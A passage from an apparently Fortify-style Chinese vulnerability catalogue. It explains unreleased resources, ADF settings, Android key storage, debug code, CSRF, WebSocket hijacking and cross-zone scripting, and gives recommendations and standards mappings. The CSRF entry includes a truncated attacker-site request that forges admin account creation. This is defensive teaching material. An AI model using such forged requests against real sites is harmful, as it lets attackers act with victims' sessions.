[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002000 CAT II, APSC-DV-002400 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002000 CAT II, APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002000 CAT II, APSC-DV-002400 CAT II
[21] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Unreleased Resource: Streams
ABSTRACT
程序可能无法成功释放某一项系统资源。
EXPLANATION
程序可能无法成功释放某一项系统资源。
资源泄露至少有两种常见的原因:
- 错误状况及其他异常情况。
- 未明确程序的哪一部份负责释放资源。
大部分 Unreleased Resource 问题只会导致一般的软件可靠性问题,但如果攻击者能够故意触发资源泄漏,该攻击者就有可能通过耗尽资源池的方式发起 denial of service 攻击。
示例:下面的方法绝不会关闭它所打开的文件句柄。FileInputStream 中的 finalize() 方法最终会调用 close(),但是不能确定何时会调用 finalize() 方法。在繁忙的环境中,这会导致 JVM 用尽它所有的文件句柄。
1 | private void processFile(String fName) throws FileNotFoundException, IOException { |
RECOMMENDATIONS
- 请不要依赖 finalize() 回收资源。为了使对象的 finalize() 方法能被调用,垃圾收集器必须确认对象符合垃圾回收的条件。但是垃圾收集器只有在 JVM 内存过小时才会使用。因此,无法保证何时能够调用该对象的 finalize() 方法。垃圾收集器最终运行时,可能出现这样的情况,即在短时间内回收大量的资源,这种情况会导致“突发”性能,并降低总体系统通过量。随着系统负载的增加,这种影响会越来越明显。
最后,如果某一资源回收操作被挂起(例如该操作需要通过网络访问数据库),那么执行 finalize() 方法的线程也将被挂起。
- 在 finally 代码段中释放资源。示例中的代码可按以下方式改写:
1 | public void processFile(String fName) throws FileNotFoundException, IOException { |
以上方案使用了一个助手函数,用以记录在尝试关闭流时可能发生的异常。该助手函数大约会在需要关闭流时重新使用。
同样,processFile 方法不会将 fis 对象初始化为 null。而是进行检查,以确保调用 safeClose() 之前,fis 不是 null。如果没有检查 null,Java 编译器会报告 fis 可能没有进行初始化。编译器做出这一判断源于 Java 可以检测未初始化的变量。如果用一种更加复杂的方法将 fis 初始化为 null,那么编译器就无法检测 fis 未经初始化便使用的情况。
REFERENCES
[1] FIO04-J. Release resources when they are no longer needed CERT
[2] DOS-2: Release resources in all cases Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 404
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[10] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002000 CAT II, APSC-DV-002400 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002000 CAT II, APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002000 CAT II, APSC-DV-002400 CAT II
[21] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Unreleased Resource: Synchronization
ABSTRACT
程序无法释放其持有的锁,这可能会导致死锁。
EXPLANATION
程序可能无法成功释放某一项系统资源。
资源泄露至少有两种常见的原因:
- 错误状况及其他异常情况。
- 未明确程序的哪一部份负责释放资源。
大部分 Unreleased Resource 问题只会导致常规软件可靠性问题,但如果攻击者能够故意触发资源泄漏,该攻击者就有可能通过耗尽资源池的方式发起 denial of service 攻击。
例 1:下列代码在 performOperationInCriticalSection() 之前建立锁定,但是如果该方法抛出异常则该代码未能释放锁定。
1 | ReentrantLock myLock = new ReentrantLock (); |
RECOMMENDATIONS
因为资源泄漏很难追踪,所以要建立一系列资源管理模式和软件指令,并且不违反您所定制的这些规则。
解决本示例中错误处理错误的一个良好模式为释放 finally 块中的锁定。
例 2:下列代码通常会释放锁定。
1 | ReentrantLock myLock = new ReentrantLock (); |
REFERENCES
[1] Sun Microsystems, Inc. Java Sun Tutorial - JavaDoc - Class ReentrantLock
[2] CERT LCK07-J. Avoid deadlock by requesting and releasing locks in the same order
[3] CERT LCK08-J. Ensure actively held locks are released on exceptional conditions
[4] FIO04-J. Release resources when they are no longer needed CERT
[5] DOS-2: Release resources in all cases Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 411
[7] Standards Mapping - MISRA C 2012 Rule 1.3
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
封装
封装是指划定明确的边界。在 Web 浏览器中,这可能意味着确保您的移动代码不会被其他移动代码滥用。在服务器上,它可能意味着对经过验证的数据和未经验证的数据、一个用户的数据和另一用户的数据或对用户可以查看的数据和不能查看的数据进行区分。
ADF Bad Practices: Default url-invoke-disallowed Setting
Cross-Site Request Forgery
Cross-Site WebSocket Hijacking
File Based Cross-Zone Scripting
HTML5: Overly Permissive CORS Policy
Hidden Field
Insecure Storage: Android Backup Storage
Insecure Storage: Android External Storage
Insecure Storage: Android World Readable or Writeable
J2EE Bad Practices: Leftover Debug Code
JavaScript Hijacking
JavaScript Hijacking: Vulnerable Framework
Mass Assignment: Sensitive Field Exposure
Poor Logging Practice: Logger Not Declared Static Final
Poor Logging Practice: Multiple Loggers
Poor Logging Practice: Use of a System Output Stream
Poor Style: Non-final Public Static Field
System Information Leak
System Information Leak: Apache Axis
System Information Leak: Apache Axis 2
System Information Leak: External
System Information Leak: HTML Comment in JSP
System Information Leak: Incomplete Servlet Error Handling
System Information Leak: Internal
System Information Leak: Overly Broad SQL Logging
System Information Leak: Spring Boot Actuators Enabled
Trust Boundary Violation
Unsafe Mobile Code: Access Violation
Unsafe Mobile Code: Database Access
Unsafe Mobile Code: Inner Class
Unsafe Mobile Code: Public finalize() Method
Unsafe Mobile Code: Unsafe Array Declaration
Unsafe Mobile Code: Unsafe Public Field
ADF Bad Practices: Default url-invoke-disallowed Setting
ABSTRACT
依靠默认的隐式 url-invoke-disallowed 设置缺乏明确性,如果默认设置发生意外变更,则可能会导致出现意外行为。
EXPLANATION
默认情况下,Fusion 应用程序中的任务流不能直接通过 GET 请求访问:URL 在尝试调用任务流时,会收到 HTTP 403 状态代码。但是,依靠隐式设置始终缺乏明确性,如果底层的默认设置发生变更,则可能会导致出现意外行为。
例 1:以下片段来自任务流定义文件,显示了使用默认的隐式 url-invoke-disallowed 设置配置的任务流示例。
1 | ... |
RECOMMENDATIONS
最好通过在任务流定义文件中指定 url-invoke-disallowed 标签来显式配置此设置。显式配置此配置可以避免混乱,表明选择此设置值的明确目的。如果底层隐式设置的默认值发生变更,还可以避免可能出现的意外行为。
例 2:以下片段来自任务流定义文件,显示了与上文相同的使用显式 url-invoke-disallowed 设置配置的任务流示例。
1 | ... |
在极少数情况下必须通过 URL 才能访问任务流,此时可以使用 url-invoke-allowed 设置。
例 3:以下片段显示了使用 url-invoke-allowed 设置配置的同一个任务流。
1 | ... |
REFERENCES
[1] Oracle(R) Fusion Middleware Fusion Developer’s Guide for Oracle Application Development Framework, 15.6.4.How to Call a Bounded Task Flow Using a URL
[2] Standards Mapping - FIPS200 CM
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[6] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[10] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Android Bad Practices: Encryption Secret Held in Static Field
ABSTRACT
应用程序将加密密钥保留在静态类字段中,使攻击者可轻松进行恢复。
EXPLANATION
将加密密钥存储在静态类字段中时,可访问进程内存(如经过 root 的设备)或进程内存转储(如故障转储)的实体可轻松恢复该密钥。
RECOMMENDATIONS
请不要将机密数据缓存在静态类字段中,因为可从中轻松找到这些数据。 避免将密钥存储在应用程序中,但是如有必要,将其序列化并存储在专用的用户存储中,并且使用一个临时运行时随机数值模糊化/保护密钥,使从内存中轻易恢复密钥变得更加困难。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 226
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001090, CCI-001199
[4] Standards Mapping - FIPS200 IA
[5] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SC-4 Information in Shared Resources (P1)
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.3.4 Sensitive Private Data, 8.3.6 Sensitive Private Data
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.4, Requirement 6.5.8, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.4, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.4, Requirement 6.5.3, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.4, Requirement 6.5.3, Requirement 8.2.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.4, Requirement 6.5.3, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.4, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.4, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3230.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3230.2 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3230.2 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3230.2 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3230.2 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3230.2 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3230.2 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[39] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Android Bad Practices: Leftover Debug Code
ABSTRACT
调试代码可能影响性能或将敏感数据泄漏给攻击者。
EXPLANATION
开发过程中一般会为了调试或测试目的增加一些“后门”代码,这些代码不会随应用程序一起提供或部署。 如果这类调试代码无意中被保留在应用程序中,则会导致应用程序向计划外的交互模式开放。 这些后门入口点很容易产生安全隐患,因为它们不在当初的设计或者测试的考虑之内,并且不会出现在应用程序设计中的操作环境里。
RECOMMENDATIONS
务必在部署应用程序的产品版之前删除调试代码。 无论是否存在直接的安全威胁,一旦早期开发阶段结束,就没有任何理由将这样的代码保留在应用程序中。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 489
[2] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[3] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.2.2 Dependency, 14.3.2 Unintended Security Disclosure Requirements
[4] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
Cross-Site Request Forgery
ABSTRACT
HTTP 请求必须包含用户特有的机密,以防止攻击者发出未经授权的请求。
EXPLANATION
跨站点伪装请求 (CSRF) 漏洞会在以下情况下发生:
Web 应用程序使用会话 cookie。
应用程序未验证请求是否经过用户同意便处理 HTTP 请求。
Nonce 是随消息一起发送的加密随机值,可防止 replay 攻击。如果该请求未包含证明其来源的 nonce,则处理该请求的代码将易受到 CSRF 攻击(除非它并未更改应用程序的状态)。这意味着使用会话 cookie 的 Web 应用程序必须采取特殊的预防措施,确保攻击者无法诱骗用户提交伪请求。假设有一个 Web 应用程序,它允许管理员创建新帐户,如下所示:
1 | RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, "/new_user"); |
攻击者可以设置一个包含以下代码的恶意网站。
1 | RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, "http://www.example.com/new_user"); |
如果 example.com 的管理员在网站上具有活动会话时访问了恶意页面,则会在毫不知情的情况下为攻击者创建一个帐户。这就是 CSRF 攻击。正是由于该应用程序无法确定请求的来源,才有可能受到 CSRF 攻击。任何请求都有可能是用户选定的合法操作,也有可能是攻击者设置的伪操作。攻击者无法查看伪请求生成的网页,因此,这种攻击技术仅适用于篡改应用程序状态的请求。
如果应用程序通过 URL 传递会话标识符(而不是 cookie),则不会出现 CSRF 问题,因为攻击者无法访问会话标识符,也无法在伪请求中包含会话标识符。
CSRF 在 2007 OWASP Top 10 排行榜上名列第 5。
RECOMMENDATIONS
使用会话 cookie 的应用程序必须在每个表单发布中包含几条信息,以便后端代码可以用来验证请求的来源。其中一种方法是包含随机请求标识符或 nonce,如下所示:
RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, “/new_user”);
body = addToPost(body, new_username);
body = addToPost(body, new_passwd);
body = addToPost(body, request_id);
rb.sendRequest(body, new NewAccountCallback(callback));
这样,后端逻辑可先验证请求标识符,然后再处理其他表单数据。如果可能,每个服务器请求的请求标识符都应该是唯一的,而不是在特定会话的各个请求之间共享。对于会话标识符而言,攻击者越难猜出请求标识符,则越难成功进行 CSRF 攻击。标记不应能够轻松猜出,它应以保护会话标记相同的方法得到保护,例如使用 SSLv3。
其他缓解技术还包括:
框架保护:大多数现代化的 Web 应用框架都嵌入了 CSRF 保护,它们将自动包含并验证 CSRF 标记。
使用质询-响应控制:强制客户响应由服务器发送的质询是应对 CSRF 的强有力防御方法。可以用于此目的的一些质询如下:CAPTCHA、密码重新验证和一次性标记。
检查 HTTP Referer/原始标题:攻击者在执行 CSRF 攻击时无法冒仿这些标题。这使这些标题可以用于预防 CSRF 攻击。
再次提交会话 Cookie:除了实际的会话 ID Cookie 外,将会话 ID Cookie 作为隐藏表单值发送是预防 CSRF 攻击的有效防护方法。服务器在处理其余表单数据之前,会先检查这些值,以确保它们完全相同。如果攻击者代表用户提交表单,他将无法根据同源策略修改会话 ID Cookie 值。
限制会话的有效期:当通过 CSRF 攻击访问受保护的资源时,只有当作为攻击一部分发送的会话 ID 在服务器上仍然有效时,攻击才会生效。限制会话的有效期将降低攻击成功的可能性。
这里所描述的技术可以使用 XSS 攻击破解。有效的 CSRF 缓解包括 XSS 缓解技术。
REFERENCES
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] OWASP OWASP Top 10
[3] OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
[4] Standards Mapping - Common Weakness Enumeration CWE ID 352
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2007 A5 Cross Site Request Forgery (CSRF)
[8] Standards Mapping - OWASP Top 10 2010 A5 Cross-Site Request Forgery (CSRF)
[9] Standards Mapping - OWASP Top 10 2013 A8 Cross-Site Request Forgery (CSRF)
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.9
[15] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 352
[16] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 352
[17] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 352
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3585 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3585 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3585 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3585 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3585 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3585 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3585 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Request Forgery
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Request Forgery (WASC-09)
Cross-Site WebSocket Hijacking
ABSTRACT
服务器无法验证请求源,因此可以接收由攻击者用于劫持攻击双向 WebSocket 连接的跨域请求。
EXPLANATION
当用户受诱使访问恶意站点时,该站点将与合法的后端站点建立 WebSocket 连接,这时将发生跨站 WebSocket 劫持。用于请求服务器更新到 WebSocket 协议的初始 HTTP 请求是一个常规 HTTP 请求,因此浏览器将发送任何绑定到目标域的 cookie,包括任何会话 cookie。如果服务器无法验证 Origin 头文件,它将允许任何恶意站点模拟用户并在用户不知情的情况下建立双向 WebSocket 连接。
RECOMMENDATIONS
为了避免 WebSocket 服务器接受跨域请求,请确保服务器验证请求 Origin 头文件。为了在 Java JSR 356 中执行此操作,应强制服务器在请求句柄中要求相同的源:
1 | import javax.websocket.server.ServerEndpointConfig.Configurator; |
REFERENCES
[1] Christian Schneider Cross-Site WebSocket Hijacking
[2] Standards Mapping - Common Weakness Enumeration CWE ID 352
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[5] Standards Mapping - OWASP Top 10 2007 A5 Cross Site Request Forgery (CSRF)
[6] Standards Mapping - OWASP Top 10 2010 A5 Cross-Site Request Forgery (CSRF)
[7] Standards Mapping - OWASP Top 10 2013 A8 Cross-Site Request Forgery (CSRF)
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.5
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.9
[13] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 352
[14] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 352
[15] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 352
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3585 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3585 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3585 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3585 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3585 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3585 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3585 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Request Forgery
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Request Forgery (WASC-09)
File Based Cross-Zone Scripting
ABSTRACT
如果加载一个文件可能导致在应用程序上下文中运行不可信赖的脚本,则是很危险的。
EXPLANATION
当满足以下条件时会发生 File Based Cross Zone Scripting 漏洞:
加载一个文件,这可能会允许在您的应用程序中运行脚本
加载的脚本采用与运行的应用程序一样的来源。
当满足这两个条件时,可以实现一系列攻击,尤其是当其他各方根据信息是否来自您的应用程序范围内来确定信任时。
例 1:以下代码使用 Android WebView 以便在本地加载文件:
…
myWebView.loadUrl(“file:/android_asset/www/index.html”); … 在上面的示例中,Android WebView 呈现器将使用 loadUrl() 通过以 “file:” 开头的 URL 加载的一切内容视为来源相同。
当从文件进行加载时,攻击者可以通过几种典型方法来利用 File Based Cross-Zone Scripting 漏洞:
本地文件可能受可将脚本注入该文件的攻击者操纵。 这将取决于文件权限、文件所在位置,或者文件先保存再加载的竞争条件(可能有供进行修改的时间段)。
文件可能会调出到外部资源。 当加载的文件从外部资源检索脚本时,可能会发生这种情况。
例 2:以下代码查看外部数据源,以确定它应该运行的 JavaScript。
<script src="http://www.example.com/js/fancyWidget.js"/>
在上面的示例中,使用了不安全的协议,这可能会允许恶意操作者修改所生成的脚本。或者,可能会执行其他攻击,以将计算机重新路由到攻击者的站点。
- 加载的文件可能包含 cross-site scripting 漏洞。
如果所加载的文件能够注入代码,则注入的代码也许能够在您的应用程序上下文中运行。这不一定是注入 JavaScript 的能力,而仅仅能够注入 HTML 也可以实现涂改或拒绝服务攻击。
RECOMMENDATIONS
请勿加载文件,以免在您的应用程序上下文中运行脚本。当绝对不会有其他选择时,应验证该文件具有正确的权限,以确保该文件不能被攻击者修改,并且最好使用某种方法来验证该文件仅执行部分操作。 作为一种额外保护措施,最好禁用 JavaScript,这将限制攻击者在您的应用程序上下文中运行代码的范围。
REFERENCES
[1] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[2] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[6] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[7] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[8] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[9] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[17] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
